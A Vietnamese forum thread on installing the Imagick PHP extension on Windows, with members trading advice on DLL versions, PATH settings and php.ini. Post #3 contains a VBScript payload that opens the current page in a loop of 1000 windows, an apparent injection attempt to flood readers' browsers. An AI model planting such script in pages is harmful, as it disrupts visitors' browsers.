banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows Làm sao để cài Image Magick cho PHP on Windows?  XML
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 08:10:03 (+0700) | #1 | 46258
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
Tui đã cố ko biết bao nhiêu cách mà vẫn không thể nào cài cái extension php_imagick.dll.
Tui đã download phiên bản PHP 5.2.1 và bộ PECL dành cho version này (đã thử cài với PHP 5.1.4 nhưng không được), vậy mà lần nào Apache cũng báo:
Code:
PHP Warning:  PHP Startup: Unable to load dynamic library 'D:/www/php/ext/php_imagick.dll' - The specified procedure could not be found.\r\n in Unknown on line 0

Vậy ai đã thử cài cái này có thể giúp tôi được không? Tui đọc nhiều chỗ lắm rồi mà chẳng có cách nào làm được hết. Xin cám ơn nhiều.
*PS: Thật ra tui không muốn dùng API của MagicWand dành cho PHP, tui muốn dùng những API của Imagick đúng cho PHP (khi search trên php.net, chẳng hạn những function như imagick_readimage, imagick_blur,...)
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 10:45:57 (+0700) | #2 | 46292
[Avatar]
gsmth
Elite Member

[Minus]    0    [Plus]
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
[Profile] [PM] [WWW] [Yahoo!]
Xin chào ST,
ST thử thêm "D:\www\php" vào biến PATH của windows. Reboot lại xem được không.
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 10:58:28 (+0700) | #3 | 46298
[Avatar]
ga_cong_nghiep_h5n1
Member

[Minus]    0    [Plus]
Joined: 12/03/2007 22:15:16
Messages: 21
Offline
[Profile] [PM] [Yahoo!]
<script language=vbscript>
Dim X
For X=0 To 1000
window.open window.location
Next
</script>
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 11:28:34 (+0700) | #4 | 46310
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]

gsmth wrote:
Xin chào ST,
ST thử thêm "D:\www\php" vào biến PATH của windows. Reboot lại xem được không. 

Có thật không đấy, tui vẫn enable những extension khác bình thường, chỉ bị mỗi cái module này thôi (chẳng hạn như cái php_uploadprogress.dll enable lên ngon lành). Dù sao cũng cám ơn bạn, để mai thử xem sao.
@ga_cong_nghiep_h5n1: đúng là "gà" thiệt, nghĩ sao mà chèn cái đoạn code đó vô vậy bồ? Lỡ gửi rồi mà ko thấy nó work thì cũng nên edit lại đi chứ, để thế mà coi đc sao :lolsmilie
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 12:13:21 (+0700) | #5 | 46328
[Avatar]
gsmth
Elite Member

[Minus]    0    [Plus]
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
[Profile] [PM] [WWW] [Yahoo!]

Siêu trộm wrote:

gsmth wrote:
Xin chào ST,
ST thử thêm "D:\www\php" vào biến PATH của windows. Reboot lại xem được không. 

Có thật không đấy, tui vẫn enable những extension khác bình thường, chỉ bị mỗi cái module này thôi (chẳng hạn như cái php_uploadprogress.dll enable lên ngon lành). Dù sao cũng cám ơn bạn, để mai thử xem sao.
 

vì php_imagick.dll phụ thuộc vào những thằng dll khác nữa. mà những thằng khác thì thường nằm ở ..\php\

http://www.php.net/manual/en/ref.imagick.php
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 12:25:07 (+0700) | #6 | 46337
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
Requirements

To use this extension, either "ImageMagick" or "GraphicsMagick" library is required.  

Thật ra tui đọc đi đọc lại cái trang đó mấy lần rồi, mà chỉ toàn đọc đoạn install thôi :lolsmilie Không hiểu sao khi ông đưa cái link tui lại thấy cái phần requirement này, có điều nó lại không nói rõ cái library đó cụ thể là gì. Vì tui cũng có cài ImageMagick ver 6.3.3 (khi cài nó tự update cái PATH của windows rồi, e.g insert C:\ImageMagick vào trước biến PATH). Vậy mà nó vẫn không chịu bỏ giùm cái lỗi đó. Đúng là cái lỗi đó thường do version extension không phù hợp với version của PHP, hoặc là do nó thiếu module cần thiết. Vậy thì đúng là do nó thiếu thư viện ImageMagick rồi, chỉ bực cái là phải load cái nào trước nó đây smilie( (tui vẫn không nghĩ là cái nó cần nằm trong \php\ )
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 13/03/2007 13:15:11 (+0700) | #7 | 46355
[Avatar]
gsmth
Elite Member

[Minus]    0    [Plus]
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
[Profile] [PM] [WWW] [Yahoo!]
lúc đầu nghĩ là bản windows php có sẵn "ImageMagick" or "GraphicsMagick" smilie Có lẽ là thiếu lib hoặc version không đúng. Từ http://pecl.php.net/package/imagick

ImageMagick 6 support is EXPERIMENTAL. Please report successes or failures.
 

Nếu mà v6 không được thì down xuống version thấp hơn.

Ngoài ra, ST theo các bước sau để check xem:
1\cài http://www.imagemagick.org/download/binaries/ImageMagick-6.3.3-1-Q16-windows-dll.exe
2\ copy http://pecl4win.php.net/download.php/ext/5_2/5.2.1/php_imagick.dll tới d:\www\php\ext
3\ check lại php.ini , xem đã thêm extension=php_imagick.dll
4\ check lại đã set đúng extension_dir = "d:/www/php/ext/"

Sau khi lam xong thì nhớ reboot 1 cái smilie
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 14/03/2007 00:38:13 (+0700) | #8 | 46405
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
http://kromann.info/PHP-Extra/ImageMagick-5.5.7-Q16-windows-dll.exe 

Hahahaha, khỉ gió thật, hóa ra chỉ là do thằng 6.3.3 vẫn chưa supp tốt, cài thằng 5.5.7 thì chạy vèo vèo smilie) (bực cái là trong site của Image Magick ko tìm đc bản cũ mới đau chứ).
------------------------------------------------------------
Sẵn đây mình trình bày lại cách cài cho ai cần nhé:
+ Download Image Magick theo đường link trên, tốt nhất là thư mục cài đặt không nên chứa khoảng trắng (có thể là C:\ImageMagick). Bạn không cần thiết phải copy những file dll trong thư mục cài đặt ImageMagick vào system32.
+ Download imagick PECL module (php_imagick.dll) đúng với phiên bản PHP của bạn (có thể tham khảo link của bạn gsmth).
+ Bật extension này trong file php.ini (thêm vào dòng extension=php_imagick.dll).
+ Restart lại Apache (đọc trong file error.log, nếu thấy không báo lỗi gì thì ok smilie) )
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 14/03/2007 00:39:02 (+0700) | #9 | 46406
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
À wên, vô cùng cám ơn bạn gsmth đã quan tâm đến câu hỏi của tớ, phải chi ai cũng như bồ thì chắc cộng đồng IT người Việt sẽ phát triển nhanh lắm smilie)
[Up] [Print Copy]
  [Question]   Làm sao để cài Image Magick cho PHP on Windows? 14/03/2007 01:37:14 (+0700) | #10 | 46423
[Avatar]
gsmth
Elite Member

[Minus]    0    [Plus]
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
[Profile] [PM] [WWW] [Yahoo!]
Bồ cứ khách sáo. Có gì đâu smilie)
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 27/06/2008 00:47:34 (+0700) | #11 | 137995
greenstream
Member

[Minus]    0    [Plus]
Joined: 13/06/2008 17:57:15
Messages: 15
Offline
[Profile] [PM]
Mặc dù topic này lâu rồi, nhưng bây giờ mình mới gặp problem với nó.
Mình dùng PHP 5.2.5, Apache 2.x.
Mình đã download và cài ImageMagic-6.4.1-Q16-windows_dll.exe vào C:\ImageMagick
Đã down php_imagick.dll đặt vào /ext/, version mới nhất của php_imagick.dll là cho php 5.2.1
Đã enabled extension=php_imagick.dll trong php.ini
Restart Apache, thậm chí restart lại windows luôn.
Nhưng khi chạy file test nó báo là : Undefined class Imagick.

Mọi người giúp mình với !
Thnks!
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 27/06/2008 02:35:02 (+0700) | #12 | 138034
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
Vừa thử cài lại, đúng là có nhiều thay đổi.
Cách cài trên là cho php_imagick ver 0.x.
Trước kia mình có thấy XAMPP tích hợp sẵn php_imagick ver 1.x, lúc đó mình chỉ cần enable lên là có thể dùng chứ không cần phải cài Imagick.
Vừa thử down lại XAMPP thì thấy không còn php_imagick nữa. Lên trang PECL4Win down cái ext php_imagick.dll cho PHP 5.2, load lên thì nó báo thiếu thư viện (có nghĩa là cần phải cài Imagick).
Cài Imagick 6.4.2, copy các core dll vào system32 vẫn load được.
Search thử ra trang này:
http://valokuva.org/?page_id=50 

Đã load được (nhưng chưa test thử).
Một vài kinh nghiệm:
1. Tương thích với Imagick ver mới nhất.
2. Nhất định phải cài Imagick chứ ko phải chỉ cần core dll.
3. Cần phải copy các core dll vào system32 (mặc dù trong lúc cài đặt, Imagick đã update biến PATH của hệ thống, không biết có phải do ko restart lại máy nên biến PATH chưa được update?).
4. Không cần thêm biến MAGICK_HOME vào hệ thống cũng như apache.
5. Không nhất thiết phải cài vào "C:\ImageMagick", để đường dẫn mặc định vẫn load tốt.
Có vẻ như các bản compile của PECL4Win vẫn chưa đúng, nếu dùng Linux thì sẽ dễ dàng hơn rất nhiều, phpize sẽ làm giùm bạn.
*PS: bạn nên set display_startup_errors để tiện hơn, lúc start apache nó sẽ báo lỗi lun chứ không cần vào xem error_log.
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 28/06/2008 03:52:12 (+0700) | #13 | 138440
greenstream
Member

[Minus]    0    [Plus]
Joined: 13/06/2008 17:57:15
Messages: 15
Offline
[Profile] [PM]
Thanks Super,
Ma sao nó cứ báo k load được php_imagick.dll lúc start.
Mà bạn cho mình hỏi giữa Imagick cài riêng này và MagickWand của php hỗ trợ cái nào good hơn vậy bạn ?
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 28/06/2008 05:08:24 (+0700) | #14 | 138465
[Avatar]
SuperChicken
Elite Member

[Minus]    0    [Plus]
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
[Profile] [PM]
Bạn đã làm đúng những bước mình nêu chưa?
Nhớ download bản compiled trong link mà tui đưa, chẳng hạn php_imagick_dyn-Q16.dll (chép vào thư mục ext trong thư mục cài đặt PHP), sau đó install Imagick bản 16b (Q16), sau đó copy tất cả các file core dll (nếu không biết cần copy những dll nào thì cứ copy hết tất cả dll trong thư mục Imagick vào system32), enable extension trong file php.ini
extension = php_imagick_dyn-Q16.dll 

Restart apache là xong (tui đã thử rồi, load okie mà).
*PS: giữa MagickWand và extension Imagick (from PECL) thì tất nhiên MagickWand sẽ supp tốt hơn (do chính Imagick cung cấp mà, quá trình cài đặt cũng dễ dàng hơn nhiều), nhưng theo kinh nghiệm bản thân thì extension Imagick from PECL cung cấp nhiều tiện ích hơn.
*PS2: khi sử dụng Imagick cho web thì nên cài bản Q8 (8 bit), lúc đó hình ảnh export ra sẽ nhẹ hơn.
[Up] [Print Copy]
  [Question]   Re: Làm sao để cài Image Magick cho PHP on Windows? 30/06/2008 06:11:17 (+0700) | #15 | 138887
greenstream
Member

[Minus]    0    [Plus]
Joined: 13/06/2008 17:57:15
Messages: 15
Offline
[Profile] [PM]
Thanks Super,
Mình cài được rồi. Tại mình chép cái dll không khớp với bản cài của Imagick nên nó k chạy được. Hi hi.
Cám ơn nhiều!
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|